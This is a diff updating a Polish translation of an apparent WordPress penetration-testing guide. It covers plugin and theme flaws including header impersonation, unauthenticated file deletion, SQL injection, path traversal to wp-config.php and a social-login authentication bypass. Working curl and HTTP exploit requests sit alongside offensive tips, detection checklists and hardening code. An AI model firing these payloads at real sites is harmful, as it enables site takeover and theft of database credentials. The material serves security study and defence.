|
||||
**Jeśli użyta jest wbudowana funkcja `__return_true`, po prostu pominie ona sprawdzenie uprawnień użytkownika.**
|
||||
**Jeśli użyta zostanie wbudowana funkcja `__return_true`, po prostu pominie ona sprawdzenie uprawnień użytkownika.**
|
||||
|
||||
- **Bezpośredni dostęp do pliku PHP**
|
||||
- **Bezpośredni dostęp do pliku php**
|
||||
|
||||
Oczywiście Wordpress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Jeśli wtyczka ujawnia jakąś podatną funkcjonalność, która jest wywoływana jedynie przez dostęp do pliku, będzie ona wykorzystywalna przez dowolnego użytkownika.
|
||||
Oczywiście Wordpress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Jeśli wtyczka udostępnia podatną funkcjonalność, która jest wywoływana jedynie przez dostęp do pliku, będzie ona możliwa do wykorzystania przez każdego użytkownika.
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Niektóre wtyczki implementują „trusted header” skróty dla integracji wewnętrznych lub reverse proxies i następnie używają tego headera do ustawiania kontekstu bieżącego użytkownika dla żądań REST. Jeśli header nie jest kryptograficznie powiązany z żądaniem przez komponent upstream, atakujący może go sfałszować i wywołać uprzywilejowane trasy REST jako administrator.
|
||||
Niektóre wtyczki implementują skróty "trusted header" dla integracji wewnętrznych lub reverse proxies i następnie używają tego headera do ustawienia aktualnego kontekstu użytkownika dla żądań REST. Jeśli header nie jest kryptograficznie powiązany z żądaniem przez komponent upstream, atakujący może go sfałszować i trafić na uprzywilejowane REST route'y jako administrator.
|
||||
|
||||
- Wpływ: eskalacja uprawnień bez uwierzytelnienia do roli administratora poprzez utworzenie nowego administratora za pomocą core users REST route.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (wymusza ID użytkownika 1, zazwyczaj pierwsze konto administratora).
|
||||
- Wyeksploatowana trasa: `POST /wp-json/wp/v2/users` z podwyższoną tablicą ról.
|
||||
- Wpływ: eskalacja uprawnień bez uwierzytelnienia do roli administratora przez utworzenie nowego administratora za pomocą core users REST route.
|
||||
- Przykładowy header: `X-Wcpay-Platform-Checkout-User: 1` (wymusza user ID 1, zazwyczaj pierwsze konto administratora).
|
||||
- Wykorzystywana ścieżka: `POST /wp-json/wp/v2/users` z tablicą z podwyższoną rolą.
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -393,8 +393,8 @@ Content-Length: 114
|
||||
```
|
||||
Dlaczego to działa
|
||||
|
||||
- The plugin maps a client-controlled header to authentication state and skips capability checks.
|
||||
- WordPress core expects `create_users` capability for this route; the plugin hack bypasses it by directly setting the current user context from the header.
|
||||
- Wtyczka mapuje nagłówek kontrolowany przez klienta na stan uwierzytelnienia i pomija sprawdzanie uprawnień.
|
||||
- WordPress core oczekuje uprawnienia `create_users` dla tej ścieżki; hack wtyczki omija to przez bezpośrednie ustawienie kontekstu bieżącego użytkownika na podstawie nagłówka.
|
||||
|
||||
Oczekiwane wskaźniki sukcesu
|
||||
|
||||
@ -405,18 +405,9 @@ Lista kontrolna wykrywania
|
||||
|
||||
- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, które nie mają solidnych sprawdzeń `permission_callback` i zamiast tego polegają na nagłówkach żądania.
|
||||
- Szukaj użyć funkcji rdzenia do zarządzania użytkownikami (`wp_insert_user`, `wp_create_user`) wewnątrz REST handlers, które są ograniczone wyłącznie przez wartości nagłówków.
|
||||
- Szukaj użyć funkcji zarządzania użytkownikami rdzenia (`wp_insert_user`, `wp_create_user`) wewnątrz handlerów REST, które są zabezpieczone jedynie przez wartości nagłówków.
|
||||
|
||||
Wzmocnienie
|
||||
|
||||
- Nigdy nie wyprowadzaj uwierzytelnienia ani autoryzacji z nagłówków kontrolowanych przez klienta.
|
||||
- Jeśli reverse proxy musi wstrzyknąć identity, zakończ zaufanie na proxy i usuń przychodzące kopie (np. `unset X-Wcpay-Platform-Checkout-User` na krawędzi), następnie przekaż podpisany token i zweryfikuj go po stronie serwera.
|
||||
- Dla tras REST wykonujących uprzywilejowane akcje wymagaj sprawdzeń `current_user_can()` oraz rygorystycznego `permission_callback` (NIE używaj `__return_true`).
|
||||
- Preferuj first-party auth (cookies, application passwords, OAuth) zamiast header “impersonation”.
|
||||
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
### Nieautoryzowane dowolne usuwanie plików przez wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||||
|
||||
@ -445,58 +436,35 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
|
||||
```
|
||||
Problemy wprowadzone przez ten fragment:
|
||||
|
||||
* **Unauthenticated access** – zarejestrowano hook `wp_ajax_nopriv_`.
|
||||
* **Unauthenticated access** – the `wp_ajax_nopriv_` hook is registered.
|
||||
* **No nonce / capability check** – każdy odwiedzający może wywołać endpoint.
|
||||
* **No path sanitisation** – kontrolowany przez użytkownika ciąg `fontfamily` jest konkatenowany do ścieżki systemu plików bez filtrowania, co umożliwia klasyczny `../../` traversal.
|
||||
* **No path sanitisation** – ciąg kontrolowany przez użytkownika `fontfamily` jest konkatenowany do filesystem path bez filtrowania, co pozwala na klasyczny `../../` traversal.
|
||||
|
||||
#### Exploitation
|
||||
#### Eksploatacja
|
||||
|
||||
Atakujący może usunąć dowolny plik lub katalog **poniżej bazowego katalogu uploads** (zwykle `<wp-root>/wp-content/uploads/`) wysyłając jedno żądanie HTTP POST:
|
||||
Atakujący może usunąć dowolny plik lub katalog **poniżej katalogu bazowego uploads** (zazwyczaj `<wp-root>/wp-content/uploads/`) wysyłając jedno żądanie HTTP POST:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` wystarczą w domyślnej instalacji. Usunięcie `wp-config.php` wymusza na WordPress przejście do *kreatora instalacji* przy kolejnej wizycie, umożliwiając pełne przejęcie strony (atakujący jedynie podaje nową konfigurację DB i tworzy użytkownika admina).
|
||||
Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` wystarczą w domyślnej instalacji. Usunięcie `wp-config.php` wymusza na WordPress uruchomienie *kreatora instalacji* przy następnej wizycie, umożliwiając pełne przejęcie serwisu (atakujący jedynie dostarcza nową konfigurację DB i tworzy konto admina).
|
||||
|
||||
Inne istotne cele to pliki plugin/theme `.php` (np. w celu wyłączenia security plugins) lub reguły `.htaccess`.
|
||||
Inne istotne cele to pliki `.php` w pluginach/motywach (aby złamać security plugins) lub reguły `.htaccess`.
|
||||
|
||||
#### Lista kontrolna wykrywania
|
||||
|
||||
* Każde wywołanie zwrotne `add_action( 'wp_ajax_nopriv_...')`, które wywołuje funkcje pomocnicze systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itp.).
|
||||
* Konkatenacja niesanitizowanych danych wejściowych użytkownika w ścieżki (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Każde wywołanie zwrotne `add_action( 'wp_ajax_nopriv_...')`, które wywołuje helpery systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itp.).
|
||||
* Łączenie niesanitizowanych danych wejściowych użytkownika w ścieżki (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Zabezpieczenia
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
wp_send_json_error( 'forbidden', 403 );
|
||||
}
|
||||
check_ajax_referer( 'litho_fonts_nonce' );
|
||||
|
||||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||||
|
||||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||||
wp_send_json_error( 'invalid path', 400 );
|
||||
}
|
||||
// … proceed …
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Zawsze** traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i dokładnie sprawdź:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
### Eskalacja uprawnień przez przywracanie przestarzałych ról i brak autoryzacji (ASE "View Admin as Role")
|
||||
|
||||
Wiele wtyczek implementuje funkcję "view as role" lub tymczasowego przełączania ról, zapisując oryginalne role w user meta, aby mogły być przywrócone później. Jeśli ścieżka przywracania polega wyłącznie na parametrach żądania (np. `$_REQUEST['reset-for']`) i utrzymywanej przez wtyczkę liście, bez sprawdzenia capabilities i ważnego nonce, prowadzi to do vertical privilege escalation.
|
||||
Wiele pluginów implementuje funkcję "view as role" lub tymczasowej zmiany roli poprzez zapisanie oryginalnej(ych) roli(i) w user meta, aby móc je przywrócić później. Jeśli ścieżka przywracania opiera się jedynie na parametrach żądania (np. `$_REQUEST['reset-for']`) i liście utrzymywanej przez wtyczkę bez sprawdzania uprawnień i ważnego nonce, staje się to wertykalną eskalacją uprawnień.
|
||||
|
||||
Przykład z prawdziwego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetu przywracała role na podstawie `reset-for=<username>` jeśli nazwa użytkownika pojawiała się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie wykonywała ani sprawdzenia `current_user_can()`, ani weryfikacji nonce przed usunięciem bieżących ról i ponownym dodaniem zapisanych ról z user meta `_asenha_view_admin_as_original_roles`:
|
||||
Przykład z rzeczywistego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetu przywracała role na podstawie `reset-for=<username>` jeśli nazwa użytkownika pojawiła się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie wykonywała ani sprawdzenia `current_user_can()` ani weryfikacji nonce przed usunięciem obecnych ról i ponownym dodaniem zapisanych ról z user meta `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -511,19 +479,13 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
Dlaczego to jest podatne
|
||||
Dlaczego jest to eksploatowalne
|
||||
|
||||
- Ufa `$_REQUEST['reset-for']` i opcji pluginu bez autoryzacji po stronie serwera.
|
||||
- Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został zdegradowany, może je przywrócić przez odwiedzenie reset path.
|
||||
- W niektórych wdrożeniach dowolny uwierzytelniony użytkownik mógł wywołać reset dla innej nazwy użytkownika wciąż obecnej w `viewing_admin_as_role_are` (błędna autoryzacja).
|
||||
- Polega na zaufaniu do `$_REQUEST['reset-for']` i opcji wtyczki bez autoryzacji po stronie serwera.
|
||||
- Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został zdegradowany, może je przywrócić, odwiedzając ścieżkę resetu.
|
||||
- W niektórych wdrożeniach każdy uwierzytelniony użytkownik mógł wywołać reset dla innej nazwy użytkownika nadal obecnej w `viewing_admin_as_role_are` (błędna autoryzacja).
|
||||
|
||||
Wymagania wstępne ataku
|
||||
|
||||
- Wrażliwa wersja pluginu z włączoną funkcją.
|
||||
- Konto celu ma przestarzałą rolę o wysokich uprawnieniach zapisaną w user meta z wcześniejszego użycia.
|
||||
- Dowolna uwierzytelniona sesja; brak nonce/capability w przepływie resetu.
|
||||
|
||||
Eksploatacja (przykład)
|
||||
Exploitation (example)
|
||||
```bash
|
||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||
@ -531,36 +493,23 @@ Eksploatacja (przykład)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
W podatnych buildach to usuwa obecne role i ponownie dodaje zapisane oryginalne role (np. `administrator`), skutecznie eskalując uprawnienia.
|
||||
W podatnych buildach usuwa to bieżące role i ponownie dodaje zapisane oryginalne role (np. `administrator`), skutecznie eskalując uprawnienia.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Szukaj funkcji przełączania ról, które przechowują „original roles” w user meta (np. `_asenha_view_admin_as_original_roles`).
|
||||
- Zidentyfikuj ścieżki resetowania/przywracania, które:
|
||||
- Szukaj funkcji przełączania ról, które zapisują „original roles” w user meta (np. `_asenha_view_admin_as_original_roles`).
|
||||
- Zidentyfikuj ścieżki reset/restore, które:
|
||||
- Odczytują nazwy użytkowników z `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modyfikują role za pomocą `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autoryzują na podstawie tablicy opcji wtyczki (np. `viewing_admin_as_role_are`) zamiast na podstawie uprawnień wykonawcy.
|
||||
|
||||
Hardening
|
||||
|
||||
- Wymuszaj sprawdzenia uprawnień w każdej gałęzi zmieniającej stan (np. `current_user_can('manage_options')` lub bardziej restrykcyjne).
|
||||
- Wymagaj nonce'ów dla wszystkich mutacji ról/uprawnień i weryfikuj je: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Nigdy nie ufaj nazwom użytkowników przesyłanym w żądaniu; określ docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego wykonawcy i wyraźnej polityki.
|
||||
- Unieważniaj stan „original roles” przy aktualizacjach profilu/roli, aby uniknąć przywrócenia przestarzałych wysokich uprawnień:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Rozważ przechowywanie minimalnego stanu i używanie tokenów o ograniczonym czasie ważności, capability-guarded, do tymczasowych zmian ról.
|
||||
- Modyfikują role za pomocą `add_role()` / `remove_role()` bez `current_user_can()` oraz `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autoryzują na podstawie tablicy opcji wtyczki (np. `viewing_admin_as_role_are`) zamiast na podstawie uprawnień aktora.
|
||||
|
||||
---
|
||||
|
||||
### Nieautoryzowana privilege escalation via cookie‑trusted user switching na publicznym `init` (Service Finder “sf-booking”)
|
||||
### Nieautoryzowana eskalacja uprawnień przez przełączanie użytkownika oparte na zaufanym ciasteczku na publicznym init (Service Finder “sf-booking”)
|
||||
|
||||
Niektóre wtyczki podłączają helpery do przełączania użytkownika do publicznego hooka `init` i wyprowadzają tożsamość z kontrolowanego przez klienta cookie. Jeśli kod wywołuje `wp_set_auth_cookie()` bez weryfikacji uwierzytelnienia, capability i ważnego nonce, dowolny nieautoryzowany odwiedzający może wymusić zalogowanie jako dowolny identyfikator użytkownika.
|
||||
Niektóre wtyczki podpinają helpery do user-switching pod publiczny hook `init` i pobierają tożsamość z ciasteczka kontrolowanego przez klienta. Jeśli kod wywołuje `wp_set_auth_cookie()` bez weryfikacji uwierzytelnienia, uprawnień i ważnego nonce, każdy nieautoryzowany odwiedzający może wymusić zalogowanie jako dowolny identyfikator użytkownika.
|
||||
|
||||
Typowy podatny wzorzec (upraszczając z Service Finder Bookings ≤ 6.1):
|
||||
Typowy podatny wzorzec (uproszczone z Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
@ -591,9 +540,9 @@ wp_die('No original user found to switch back to.');
|
||||
```
|
||||
Dlaczego jest to podatne
|
||||
|
||||
- Publiczny hook `init` sprawia, że handler jest osiągalny dla niezalogowanych użytkowników (brak zabezpieczenia `is_user_logged_in()`).
|
||||
- Tożsamość pochodzi z cookie modyfikowalnego przez klienta (`original_user_id`).
|
||||
- Bezpośrednie wywołanie `wp_set_auth_cookie($uid)` loguje żądającego jako tego użytkownika bez żadnych sprawdzeń uprawnień/nonce.
|
||||
- Publiczny hook `init` sprawia, że handler jest dostępny dla niezalogowanych użytkowników (brak zabezpieczenia `is_user_logged_in()`).
|
||||
- Tożsamość jest odczytywana z cookie modyfikowalnego po stronie klienta (`original_user_id`).
|
||||
- Bezpośrednie wywołanie `wp_set_auth_cookie($uid)` loguje żądającego jako tego użytkownika bez jakichkolwiek sprawdzeń capability/nonce.
|
||||
|
||||
Eksploatacja (bez uwierzytelnienia)
|
||||
```http
|
||||
@ -605,34 +554,34 @@ Connection: close
|
||||
```
|
||||
---
|
||||
|
||||
### Rozważania dotyczące WAF dla WordPress/plugin CVEs
|
||||
### WAF considerations for WordPress/plugin CVEs
|
||||
|
||||
Ogólne WAFy brzegowe/serwerowe są dostrojone pod szerokie wzorce (SQLi, XSS, LFI). Wiele wysoko wpływowych luk w WordPress/plugin to błędy logiki/autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPress i semantykę pluginów.
|
||||
Ogólne WAFy brzegowe/serwerowe są nastawione na wykrywanie szerokich wzorców (SQLi, XSS, LFI). Wiele wysokiego ryzyka luk w WordPress i wtyczkach to błędy logiki/autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPress i semantykę wtyczek.
|
||||
|
||||
Notatki ofensywne
|
||||
Offensive notes
|
||||
|
||||
- Celuj w endpointy specyficzne dla pluginów za pomocą czystych payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Najpierw testuj ścieżki bez uwierzytelnienia (AJAX `nopriv`, REST z permissive `permission_callback`, public shortcodes). Domyślne payloads często działają bez obfuskacji.
|
||||
- Typowe przypadki o dużym wpływie: eskalacja uprawnień (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
- Celuj w endpointy specyficzne dla wtyczek przy użyciu czystych payloadów: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Najpierw testuj ścieżki nieautoryzowane (AJAX `nopriv`, REST z liberalnym `permission_callback`, public shortcodes). Domyślne payloady często działają bez obfuskacji.
|
||||
- Typowe przypadki o dużym wpływie: eskalacja uprawnień (broken access control), dowolne przesyłanie/pobieranie plików, LFI, open redirect.
|
||||
|
||||
Notatki defensywne
|
||||
Defensive notes
|
||||
|
||||
- Nie polegaj na ogólnych sygnaturach WAF w celu ochrony plugin CVEs. Wdróż wirtualne poprawki na warstwie aplikacji, specyficzne dla danej podatności, lub aktualizuj szybko.
|
||||
- Preferuj pozytywne kontrole bezpieczeństwa w kodzie (capabilities, nonces, strict input validation) zamiast negatywnych filtrów regex.
|
||||
- Nie polegaj na ogólnych sygnaturach WAF, aby chronić CVE dotyczące wtyczek. Wdroż wirtualne poprawki specyficzne dla podatności na warstwie aplikacji lub zaktualizuj szybko.
|
||||
- Preferuj mechanizmy pozytywnej ochrony w kodzie (capabilities, nonces, ścisła walidacja wejścia) zamiast negatywnych filtrów regex.
|
||||
|
||||
## Ochrona WordPress
|
||||
|
||||
### Regularne aktualizacje
|
||||
|
||||
Upewnij się, że WordPress, plugins i themes są aktualne. Potwierdź też, że automatyczne aktualizacje są włączone w wp-config.php:
|
||||
Upewnij się, że WordPress, wtyczki i motywy są aktualne. Potwierdź także, że automatyczne aktualizacje są włączone w wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Również, **instaluj tylko zaufane wtyczki i motywy WordPress**.
|
||||
Ponadto, **instaluj tylko zaufane wtyczki i motywy WordPress**.
|
||||
|
||||
### Wtyczki bezpieczeństwa
|
||||
### Wtyczki zabezpieczające
|
||||
|
||||
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
||||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||||
@ -642,12 +591,12 @@ Również, **instaluj tylko zaufane wtyczki i motywy WordPress**.
|
||||
|
||||
- Usuń domyślnego użytkownika **admin**
|
||||
- Używaj **silnych haseł** i **2FA**
|
||||
- Okresowo **przeglądaj** uprawnienia użytkowników
|
||||
- Okresowo **przeglądaj** **uprawnienia** użytkowników
|
||||
- **Ogranicz liczbę prób logowania**, aby zapobiec atakom Brute Force
|
||||
- Zmień nazwę pliku **`wp-admin.php`** i zezwalaj na dostęp tylko wewnętrznie lub z wybranych adresów IP.
|
||||
- Zmień nazwę pliku **`wp-admin.php`** i zezwalaj na dostęp tylko wewnętrznie lub z określonych adresów IP.
|
||||
|
||||
|
||||
### SQL Injection bez uwierzytelnienia przez niewystarczającą walidację (WP Job Portal <= 2.3.2)
|
||||
### Nieuwierzytelniony SQL Injection z powodu niewystarczającej walidacji (WP Job Portal <= 2.3.2)
|
||||
|
||||
Wtyczka rekrutacyjna WP Job Portal udostępniała zadanie **savecategory**, które ostatecznie wykonuje następujący podatny kod w `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
@ -659,19 +608,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Issues introduced by this snippet:
|
||||
Problemy wprowadzone przez ten fragment:
|
||||
|
||||
1. **Niezabezpieczone dane wejściowe użytkownika** – `parentid` pochodzi bezpośrednio z żądania HTTP.
|
||||
2. **Konkatenacja łańcuchów w klauzuli WHERE** – brak `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Dostęp bez uwierzytelnienia** – chociaż akcja jest wykonywana przez `admin-post.php`, jedyną kontrolą jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać ze strony publicznej osadzonej przez shortcode `[wpjobportal_my_resumes]`.
|
||||
1. **Unsanitised user input** – `parentid` pochodzi bezpośrednio z żądania HTTP.
|
||||
2. **String concatenation inside the WHERE clause** – brak użycia `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Unauthenticated reachability** – chociaż akcja jest wykonywana przez `admin-post.php`, jedyną kontrolą jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać ze strony publicznej osadzonej przy pomocy shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Eksploatacja
|
||||
#### Wykorzystanie
|
||||
|
||||
1. Pobierz świeży nonce:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Wstrzyknij dowolne SQL, wykorzystując `parentid`:
|
||||
2. Wstrzyknięcie dowolnego zapytania SQL przez nadużycie `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -684,15 +633,15 @@ Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych,
|
||||
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym na pobranie **dowolnego pliku z dysku** przez path traversal. Wrażliwy sink znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym pobrać **dowolny plik na dysku** poprzez path traversal. Wrażliwy sink znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` jest kontrolowany przez atakującego i konkatenowany **bez sanityzacji**. Ponownie, jedyną blokadą jest **CSRF nonce**, który można pobrać ze strony resume.
|
||||
`$file_name` jest kontrolowany przez atakującego i konkatenowany **bez sanitacji**. Ponownie, jedyną barierą jest **CSRF nonce**, który można pobrać ze strony z CV.
|
||||
|
||||
#### Eksploatacja
|
||||
#### Exploitation
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
@ -703,7 +652,198 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
```
|
||||
Serwer zwraca zawartość `wp-config.php`, leaking DB credentials and auth keys.
|
||||
|
||||
## Odnośniki
|
||||
## Nieautoryzowane przejęcie konta przez Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
|
||||
Wiele motywów/pluginów dostarcza "social login" helpery wystawione przez admin-ajax.php. Jeśli nieautoryzowana akcja AJAX (wp_ajax_nopriv_...) ufa identyfikatorom dostarczonym przez klienta, gdy brakuje danych providera, a następnie wywołuje wp_set_auth_cookie(), to staje się to pełnym obejściem uwierzytelniania.
|
||||
|
||||
Typowy błędny schemat (uproszczony)
|
||||
```php
|
||||
public function check_login() {
|
||||
// ... request parsing ...
|
||||
switch ($_POST['using']) {
|
||||
case 'fb': /* set $user_email from verified Facebook token */ break;
|
||||
case 'google': /* set $user_email from verified Google token */ break;
|
||||
// other providers ...
|
||||
default: /* unsupported/missing provider – execution continues */ break;
|
||||
}
|
||||
|
||||
// FALLBACK: trust POSTed "id" as email if provider data missing
|
||||
$user_email = !empty($user_email)
|
||||
? $user_email
|
||||
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
|
||||
|
||||
if (empty($user_email)) {
|
||||
wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
|
||||
$user = get_user_by('email', $user_email);
|
||||
if ($user) {
|
||||
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
|
||||
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
|
||||
}
|
||||
wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
|
||||
```
|
||||
Dlaczego to jest eksploatowalne
|
||||
|
||||
- Dostęp bez uwierzytelnienia przez admin-ajax.php (akcja wp_ajax_nopriv_…).
|
||||
- Brak sprawdzeń nonce/capability przed zmianą stanu.
|
||||
- Brak weryfikacji dostawcy OAuth/OpenID; gałąź domyślna akceptuje dane od atakującego.
|
||||
- get_user_by('email', $_POST['id']) z następującym wp_set_auth_cookie($uid) uwierzytelnia żądającego jako dowolny istniejący adres e-mail.
|
||||
|
||||
Eksploatacja (bez uwierzytelnienia)
|
||||
|
||||
- Wymagania wstępne: atakujący może osiągnąć /wp-admin/admin-ajax.php i zna/zgaduje poprawny adres e-mail użytkownika.
|
||||
- Ustaw provider na nieobsługiwaną wartość (lub pomiń go), aby trafić do gałęzi domyślnej i przekazać id=<victim_email>.
|
||||
```http
|
||||
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||||
Host: victim.tld
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
|
||||
```
|
||||
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
|
||||
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
|
||||
```
|
||||
Expected success indicators
|
||||
|
||||
- HTTP 200 z ciałem JSON takim jak {"status":"success","message":"Login successfully."}.
|
||||
- Set-Cookie: wordpress_logged_in_* dla ofiary; kolejne żądania są uwierzytelnione.
|
||||
|
||||
Finding the action name
|
||||
|
||||
- Sprawdź motyw/wtyczkę pod kątem rejestracji add_action('wp_ajax_nopriv_...', '...') w kodzie social login (np. framework/add-ons/social-login/class-social-login.php).
|
||||
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Logi serwera pokazujące niezautoryzowane żądania POST do /wp-admin/admin-ajax.php z akcją social-login i id=<email>.
|
||||
- Odpowiedzi 200 z JSON-em sukcesu bezpośrednio poprzedzające uwierzytelniony ruch z tego samego IP/User-Agent.
|
||||
|
||||
Hardening
|
||||
|
||||
- Nie wyprowadzaj tożsamości na podstawie danych przesłanych przez klienta. Akceptuj tylko adresy e-mail/ID pochodzące z zatwierdzonego tokena/ID dostawcy.
|
||||
- Wymagaj nonce CSRF i sprawdzeń uprawnień nawet dla helperów logowania; unikaj rejestrowania wp_ajax_nopriv_ chyba że jest to absolutnie konieczne.
|
||||
- Waliduj i weryfikuj odpowiedzi OAuth/OIDC po stronie serwera; odrzucaj brakujących/nieprawidłowych dostawców (bez fallbacku do POST id).
|
||||
